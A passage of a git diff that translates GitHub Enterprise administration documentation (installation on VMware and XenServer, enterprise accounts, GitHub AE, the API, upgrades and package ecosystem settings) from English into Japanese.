+4. {% data variables.product.prodname_dotcom %}オンプレミスを選択し、**VMware ESXi/vSphere (OVA)**をクリックしてください。
+5. **Download for VMware ESXi/vSphere (OVA)**をクリックしてください。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを作成する
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)."
-    - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing.
-    - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)."
+1. vSphere Windows Client または vCenter Web Client を使用して、ダウンロードした {% data variables.product.prodname_ghe_server %} イメージをインポートします。 詳しい情報については、VMware ガイドの「[Deploy an OVF or OVA Template ](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)」を参照してください。
+    - データストアを選択する際には、VMのディスクをホストするのに十分な領域があるものを選択してください。 インスタンスサイズに応じた最小の推奨ハードウェア仕様については「[ハードウェアについて](#hardware-considerations)」を参照してください。 lazy zeroing のシックプロビジョニングをお勧めします。
+    - **Power on after deployment**のチェックは外したままにしておいてください。これは、VMをプロビジョニングした後にリポジトリデータのためのアタッチされたストレージボリュームを追加する必要があるためです。
+{% data reusables.enterprise_installation.create-attached-storage-volume %}その方法については、VMWareのガイド "[仮想マシンへの新しいハード ディスクの追加](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)"を参照してください。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを設定する
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 参考リンク
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %}
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %}
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
index 0f2545636d..7557c157d6 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
@@ -1,12 +1,12 @@
 ---
-title: Installing GitHub Enterprise Server on XenServer
-intro: 'To install {% data variables.product.prodname_ghe_server %} on XenServer, you must deploy the {% data variables.product.prodname_ghe_server %} disk image to a XenServer host.'
+title: XenServer で GitHub Enterprise Server をインストールする
+intro: '{% data variables.product.prodname_ghe_server %} を XenServer にインストールするには、{% data variables.product.prodname_ghe_server %} のディスクイメージを XenServer ホストに配備する必要があります。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-xenserver
   - /enterprise/admin/installation/installing-github-enterprise-server-on-xenserver
   - /admin/installation/installing-github-enterprise-server-on-xenserver
 versions:
-  ghes: '<=3.2'
+  ghes: <=3.2
 type: tutorial
 topics:
   - Administrator
@@ -22,42 +22,42 @@ shortTitle: Install on XenServer
 
 {% endnote %}
 
-## Prerequisites
+## 必要な環境
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must install the XenServer Hypervisor on the machine that will run your {% data variables.product.prodname_ghe_server %} virtual machine (VM). We support versions 6.0 through 7.0.
-- We recommend using the XenCenter Windows Management Console for initial setup. Instructions using the XenCenter Windows Management Console are included below. For more information, see the Citrix guide "[How to Download and Install a New Version of XenCenter](https://support.citrix.com/article/CTX118531)."
+- {% data variables.product.prodname_ghe_server %} の仮想マシン (VM) を実行するマシンに、XenServer Hypervisor をインストールする必要があります。 バージョン 6.0 から 7.0 までをサポートしています。
+- 初期セットアップには、XenCenter Windows Management Consoleを使うことをおすすめします。 以下にXenCenter Windows Management Consoleの使い方を示します。 詳しい情報については、Citrixのガイド"[How to Download and Install a New Version of XenCenter](https://support.citrix.com/article/CTX118531)"を参照してください。
 
-## Hardware considerations
+## ハードウェアについて
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## {% data variables.product.prodname_ghe_server %} イメージをダウンロードする
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **XenServer (VHD)**.
-5. To download your license file, click **Download license**.
+4. {% data variables.product.prodname_dotcom %}オンプレミスを選択し、続いて**XenServer (VHD)**をクリックしてください。
+5. ライセンスファイルをダウンロードするには**Download license（ライセンスのダウンロード）**をクリックしてください。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを作成する
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In XenCenter, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the XenCenter guide "[Import Disk Images](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)."
-    - For the "Enable Operating System Fixup" step, select **Don't use Operating System Fixup**.
-    - Leave the VM powered off when you're finished.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the XenCenter guide "[Add Virtual Disks](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)."
+1. XenCenter で、ダウンロードした {% data variables.product.prodname_ghe_server %} のイメージをインポートします。 手順については、XenCenter ガイドの「[ディスクイメージをインポートする](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)」を参照してください。
+    - "Enable Operating System Fixup"のステップでは、**Don't use Operating System Fixup**を選択してください。
+    - 終了したら、VMの電源をオフのままにしておいてください。
+{% data reusables.enterprise_installation.create-attached-storage-volume %} 手順については、XenCenter ガイドの「[仮想ディスクを追加する](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)」を参照してください。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを設定する
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 参考リンク
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %}
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %}
diff --git a/translations/ja-JP/content/admin/overview/about-enterprise-accounts.md b/translations/ja-JP/content/admin/overview/about-enterprise-accounts.md
index 8b277fe208..fd862deb76 100644
--- a/translations/ja-JP/content/admin/overview/about-enterprise-accounts.md
+++ b/translations/ja-JP/content/admin/overview/about-enterprise-accounts.md
@@ -1,5 +1,5 @@
 ---
-title: About enterprise accounts
+title: Enterprise アカウントについて
 intro: 'With {% data variables.product.product_name %}, you can use an enterprise account to {% ifversion ghec %}enable collaboration between your organizations, while giving{% elsif ghes or ghae %}give{% endif %} administrators a single point of visibility and management.'
 redirect_from:
   - /articles/about-github-business-accounts
@@ -24,7 +24,7 @@ topics:
 
 {% ifversion ghec %}
 
-Your enterprise account on {% data variables.product.prodname_dotcom_the_website %} allows you to manage multiple organizations. Your enterprise account must have a handle, like an organization or personal account on {% data variables.product.prodname_dotcom %}.
+Your enterprise account on {% data variables.product.prodname_dotcom_the_website %} allows you to manage multiple organizations. Enterprise アカウントは、{% data variables.product.prodname_dotcom %} 上の Organization や個人アカウントのようにハンドルを持たなければなりません。
 
 {% elsif ghes or ghae %}
 
@@ -36,7 +36,7 @@ Organizations are shared accounts where enterprise members can collaborate acros
 
 {% ifversion ghec %}
 
-Enterprise owners can create organizations and link the organizations to the enterprise. Alternatively, you can invite an existing organization to join your enterprise account. After you add organizations to your enterprise account, you can manage and enforce policies for the organizations. Specific enforcement options vary by setting; generally, you can choose to enforce a single policy for every organization in your enterprise account or allow owners to set policy on the organization level. For more information, see "[Setting policies for your enterprise](/admin/policies)."
+Enterprise owners can create organizations and link the organizations to the enterprise. Alternatively, you can invite an existing organization to join your enterprise account. After you add organizations to your enterprise account, you can manage and enforce policies for the organizations. 特定の強制の選択肢は、設定によって異なります。概して、Enterprise アカウント内のすべての Organization に単一のポリシーを強制するか、Organization レベルでオーナーがポリシーを設定することを許可するかを選択できます。 For more information, see "[Setting policies for your enterprise](/admin/policies)."
 
 {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
@@ -74,17 +74,17 @@ From your enterprise account on {% ifversion ghae %}{% data variables.product.pr
 If you use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, you can also manage the following for {% data variables.product.prodname_ghe_server %} from your enterprise account on {% data variables.product.prodname_dotcom_the_website %}.
 
 - Billing and usage for {% data variables.product.prodname_ghe_server %} instances
-- Requests and support bundle sharing with {% data variables.contact.enterprise_support %}
+- {% data variables.contact.enterprise_support %} とのリクエストおよび Support Bundle の共有
 
 You can also connect the enterprise account on {% data variables.product.product_location_enterprise %} to your enterprise account on {% data variables.product.prodname_dotcom_the_website %} to see license usage details for your {% data variables.product.prodname_enterprise %} subscription from {% data variables.product.prodname_dotcom_the_website %}. For more information, see {% ifversion ghec %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %}
 
-For more information about the differences between {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)." {% data reusables.enterprise-accounts.to-upgrade-or-get-started %}
+{% data variables.product.prodname_ghe_cloud %} と {% data variables.product.prodname_ghe_server %} の違いについては、「[{% data variables.product.prodname_dotcom %} の製品](/get-started/learning-about-github/githubs-products)」を参照してください。 {% data reusables.enterprise-accounts.to-upgrade-or-get-started %}
 
 {% endif %}
 
 {% ifversion ghec %}
 
-## About {% data variables.product.prodname_emus %}
+## {% data variables.product.prodname_emus %}について
 
 {% data reusables.enterprise-accounts.emu-short-summary %}
 
@@ -114,6 +114,6 @@ For more information about billing for {% ifversion ghec %}{% data variables.pro
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
 - "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)" in the GraphQL API documentation
diff --git a/translations/ja-JP/content/admin/overview/about-github-ae.md b/translations/ja-JP/content/admin/overview/about-github-ae.md
index 62d5fcf17b..0517b66e7a 100644
--- a/translations/ja-JP/content/admin/overview/about-github-ae.md
+++ b/translations/ja-JP/content/admin/overview/about-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub AE
-intro: '{% data variables.product.prodname_ghe_managed %} is a security-enhanced and compliant way to use {% data variables.product.prodname_dotcom %} in the cloud.'
+title: GitHub AE について
+intro: '{% data variables.product.prodname_ghe_managed %} は、クラウドで {% data variables.product.prodname_dotcom %} を使用するためにセキュリティが強化された準拠した方法です。'
 versions:
   ghae: '*'
 type: overview
@@ -9,33 +9,33 @@ topics:
   - Fundamentals
 ---
 
-## About {% data variables.product.prodname_ghe_managed %}
+## {% data variables.product.prodname_ghe_managed %}について
 
-{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} is fully managed, reliable, and scalable, allowing you to accelerate delivery without sacrificing risk management.
+{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} は完全に管理され、信頼性が高く、スケーラブルであるため、リスク管理を犠牲にすることなくデリバリを迅速化できます。
 
-{% data variables.product.prodname_ghe_managed %} offers one developer platform from idea to production. You can increase development velocity with the tools that teams know and love, while you maintain industry and regulatory compliance with unique security and access controls, workflow automation, and policy enforcement. 
+{% data variables.product.prodname_ghe_managed %} は、アイデアから本番まで1つの開発者プラットフォームを提供します。 Team が使い慣れたツールを使用して開発速度を上げることができます。また、独自のセキュリティとアクセス制御、ワークフローの自動化、およびポリシーの適用により、業界と規制のコンプライアンスを維持できます。
 
-## A highly available and planet-scale cloud
+## 高可用性および地球規模のクラウド
 
-{% data variables.product.prodname_ghe_managed %} is a fully managed service, hosted in a high availability architecture. {% data variables.product.prodname_ghe_managed %} is hosted globally in a cloud that can scale to support your full development lifecycle without limits. {% data variables.product.prodname_dotcom %} fully manages backups, failover, and disaster recovery, so you never need to worry about your service or data. 
+{% data variables.product.prodname_ghe_managed %} は、高可用性アーキテクチャでホストされているフルマネージドサービスです。 {% data variables.product.prodname_ghe_managed %} は、クラウドでグローバルにホストされており、無制限に開発ライフサイクル全体をサポートするように拡張できます。 {% data variables.product.prodname_dotcom %} は、バックアップ、フェイルオーバー、およびシステム災害復旧を完全に管理するため、サービスやデータについて心配する必要はありません。
 
-## Data residency
+## データの常駐
 
-All of your data is stored within the geographic region of your choosing. You can comply with GDPR and global data protection standards by keeping all of your data within your chosen region.
+すべてのデータは、ユーザが選択したリージョン内で保存されます。 すべてのデータを選択したリージョン内に保存することで、GDPR およびグローバルデータ保護基準に準拠できます。
 
-## Isolated accounts
+## 分離されたアカウント
 
-All developer accounts are fully isolated in {% data variables.product.prodname_ghe_managed %}. You can fully control the accounts through your identity provider, with SAML single sign on as mandatory. SCIM enables you to ensure that employees only have access to the resources they should, as defined in your central identity management system. For more information, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)."
+すべての開発者アカウントは、{% data variables.product.prodname_ghe_managed %} 内で完全に分離されています。 SAML シングルサインオンを必須として、アイデンティティプロバイダを介してアカウントを完全に制御できます。 SCIM を使用すると、中央のアイデンティティ管理システムで定義されているように、従業員が必要なリソースにのみアクセスできるようにすることができます。 詳しい情報については、「[Enterprise のアイデンティティとアクセスを管理する](/admin/authentication/managing-identity-and-access-for-your-enterprise)」を参照してください。
 
-## Restricted network access
+## 制限付きネットワークアクセス
 
-Secure access to your enterprise on {% data variables.product.prodname_ghe_managed %} with restricted network access, so that your data can only be accessed from within your network. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)."
+ネットワークアクセスが制限された {% data variables.product.prodname_ghe_managed %} での Enterprise への安全なアクセスにより、データはネットワーク内からのみアクセスできます。 詳しい情報については、「[Enterprise へのネットワークトラフィックを制限する](/admin/configuration/restricting-network-traffic-to-your-enterprise)」を参照してください。
 
-## Commercial and government environments
+## 商用および政府環境
 
-{% data variables.product.prodname_ghe_managed %} is available in the Azure Government cloud, the trusted cloud for US government agencies and their partners. {% data variables.product.prodname_ghe_managed %} is also available in the commercial cloud, so you can choose the hosting environment that is right for your organization.
+{% data variables.product.prodname_ghe_managed %} は、Azure Government クラウドという、米国政府機関とそのパートナー向けの信頼できるクラウドで利用できます。 {% data variables.product.prodname_ghe_managed %} は商用クラウドでも利用できるため、Organization に適したホスティング環境を選択できます。
 
-## Further reading
+## 参考リンク
 
 - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
 - "[Receiving help from {% data variables.product.company_short %} Support](/admin/enterprise-support/receiving-help-from-github-support)"
diff --git a/translations/ja-JP/content/admin/overview/about-the-github-enterprise-api.md b/translations/ja-JP/content/admin/overview/about-the-github-enterprise-api.md
index 13c1255fff..27f8a19e80 100644
--- a/translations/ja-JP/content/admin/overview/about-the-github-enterprise-api.md
+++ b/translations/ja-JP/content/admin/overview/about-the-github-enterprise-api.md
@@ -1,6 +1,6 @@
 ---
-title: About the GitHub Enterprise API
-intro: '{% data variables.product.product_name %} supports REST and GraphQL APIs.'
+title: GitHub Enterprise API について
+intro: '{% data variables.product.product_name %} は、REST および GraphQL API をサポートしています。'
 redirect_from:
   - /enterprise/admin/installation/about-the-github-enterprise-server-api
   - /enterprise/admin/articles/about-the-enterprise-api
@@ -16,12 +16,12 @@ topics:
 shortTitle: GitHub Enterprise API
 ---
 
-With the APIs, you can automate many administrative tasks. Some examples include:
+API を使用すると、さまざまなタスクを自動化できます。 例えば、
 
 {% ifversion ghes %}
-- Perform changes to the {% data variables.enterprise.management_console %}. For more information, see "[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)."
-- Configure LDAP sync. For more information, see "[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)."{% endif %}
-- Collect statistics about your enterprise. For more information, see "[Admin stats](/rest/reference/enterprise-admin#admin-stats)."
-- Manage your enterprise account. For more information, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)."
+- {% data variables.enterprise.management_console %} に変更を加える。 詳しい情報については、「[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)」を参照してください。
+- LDAP 同期を設定する。 詳しい情報については、「[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)」を参照してください。{% endif %}
+- 自分の Enterprise に関する統計を収集する。 詳しい情報については、「[管理統計](/rest/reference/enterprise-admin#admin-stats)」を参照してください。
+- Enterpriseアカウントの管理。 詳しい情報については「[Enterprise アカウント](/graphql/guides/managing-enterprise-accounts)」を参照してください。
 
-For the complete documentation for {% data variables.product.prodname_enterprise_api %}, see [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom%} GraphQL API](/graphql). 
+{% data variables.product.prodname_enterprise_api %} の完全なドキュメントについては、[{% data variables.product.prodname_dotcom %}REST API](/rest) および [{% data variables.product.prodname_dotcom%}GraphQL API](/graphql) を参照してください。 
diff --git a/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md b/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md
index 4e4de2165b..3cb60483f8 100644
--- a/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md
+++ b/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md
@@ -1,6 +1,6 @@
 ---
-title: About upgrades to new releases
-shortTitle: About upgrades
+title: 新しいリリースへのアップグレードについて
+shortTitle: アップグレードについて
 intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}'
 versions:
   ghes: '*'
@@ -10,27 +10,28 @@ topics:
   - Enterprise
   - Upgrades
 ---
+
 {% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %}
 
-{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %}
+{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} はフルマネージドサービスであるため、{% data variables.product.company_short %} が Enterprise のアップグレードプロセスを完了します。{% endif %}
 
-Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %}
+Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. Enterprise で予定されているダウンタイムについては、事前に通知されます。{% endif %}
 
 {% ifversion ghes %}
 
-Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. 
+Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. リリース候補には、実際に {% data variables.product.product_name %} を使用している顧客からのフィードバックを通じてのみ見つけることができるバグまたは問題がある可能性があります。
 
-You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)."
+リリース候補が利用可能になり次第、リリース候補をテストすることで、最新の機能に早期アクセスできます。 サポートされているバージョンからリリース候補にアップグレードでき、リリース時にリリース候補からそれ以降のバージョンにアップグレードできます。 リリースが一般に利用可能になり次第、リリース候補を実行している環境をアップグレードする必要があります。 詳しい情報については、「[アップグレード要件](/admin/enterprise-management/upgrade-requirements)」を参照してください。
 
-Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)."
+リリース候補は、テスト環境またはステージング環境に展開する必要があります。 リリース候補をテストした際は、サポートに連絡してフィードバックをご提供ください。 詳しい情報については、「[{% data variables.contact.github_support %} での操作](/admin/enterprise-support)」を参照してください。
 
-We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release.
+フィードバックを活用して、バグ修正やその他の必要な変更を適用し、安定した本番リリースを作成します。 新しいリリース候補ごとに、以前のバージョンで見つかった問題のバグ修正が追加されます。 リリースが広く普及可能になったら、{% data variables.product.company_short %} は安定した本番リリースを公開します。
 
 {% endif %}
 
 {% warning %}
 
-**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
+**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. Enterprise 設定または REST API を使用して、グローバルアナウンスバナーを公開することにより、ダウンタイムについてユーザに通知できます。 詳しい情報については、「[インスタンス上でのユーザメッセージをカスタマイズする](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)」および「[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#announcements)」を参照してください。
 
 {% endwarning %}
 
@@ -38,12 +39,12 @@ We'll use your feedback to apply bug fixes and any other necessary changes to cr
 
 Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime.
 
-To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
+Enterprise を新しいリリースにアップグレードするには、「[リリースノート](/enterprise-server/admin/release-notes)」および「[{% data variables.product.prodname_ghe_server %} へのアップグレード](/admin/enterprise-management/upgrading-github-enterprise-server)」を参照してください。 Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository{% ifversion ghae %}
-- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes)
+- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) in the  `github/roadmap` repository{% ifversion ghae %}
+- [ {% data variables.product.prodname_ghe_managed %} のリリースノート](/admin/release-notes)
 {% endif %}
diff --git a/translations/ja-JP/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md b/translations/ja-JP/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
index 7ee3e6fde6..58b2e64c76 100644
--- a/translations/ja-JP/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring package ecosystem support for your enterprise
-intro: 'You can configure {% data variables.product.prodname_registry %} for your enterprise by globally enabling or disabling individual package ecosystems on your enterprise, including Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. Learn about other configuration requirements to support specific package ecosystems.'
+title: Enterprise 向けのパッケージエコシステムサポートを設定する
+intro: 'Docker、RubyGems、npm、Apache Maven、Gradle、NuGet など、Enterprise の個々のパッケージエコシステムをグローバルに有効または無効にすることで、Enterprise の {% data variables.product.prodname_registry %} を設定できます。 特定のパッケージエコシステムをサポートするための他の設定要件について学びます。'
 redirect_from:
   - /enterprise/admin/packages/configuring-packages-support-for-your-enterprise
   - /admin/packages/configuring-packages-support-for-your-enterprise
@@ -15,38 +15,39 @@ shortTitle: Configure package ecosystems
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
 
-## Enabling or disabling individual package ecosystems
+## 個々のパッケージエコシステムの有効化または無効化
 
-To prevent new packages from being uploaded, you can set an ecosystem you previously enabled to **Read-Only**, while still allowing existing packages to be downloaded.
+新しいパッケージがアップロードされないようにするには、以前に有効にしたエコシステムを**読み取り専用**に設定し、既存のパッケージをダウンロードできるようにします。
 
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_site_admin_settings.packages-tab %}
-1. Under "Ecosystem Toggles", for each package type, select **Enabled**, **Read-Only**, or **Disabled**.{% ifversion ghes > 3.1 %}
-  ![Ecosystem toggles](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
-  ![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
+1. [Ecosystem Toggles] の下で、パッケージの種類ごとに [**Enabled**]、[**Read-Only**]、または [**Disabled**] を選択します。
+{% ifversion ghes > 3.1 %}
+  ![エコシステムの切り替え](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
+![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% ifversion ghes = 3.0 or ghes > 3.0 %}
-## Connecting to the official npm registry
+## 公式 npm レジストリに接続する
 
-If you've enabled npm packages on your enterprise and want to allow access to the official npm registry as well as the {% data variables.product.prodname_registry %} npm registry, then you must perform some additional configuration.
+Enterprise で npm パッケージを有効にしていて、公式の npm レジストリと {% data variables.product.prodname_registry %} npm レジストリへのアクセスを許可する場合は、追加の設定を実行する必要があります。
 
-{% data variables.product.prodname_registry %} uses a transparent proxy for network traffic that connects to the official npm registry at `registry.npmjs.com`. The proxy is enabled by default and cannot be disabled.
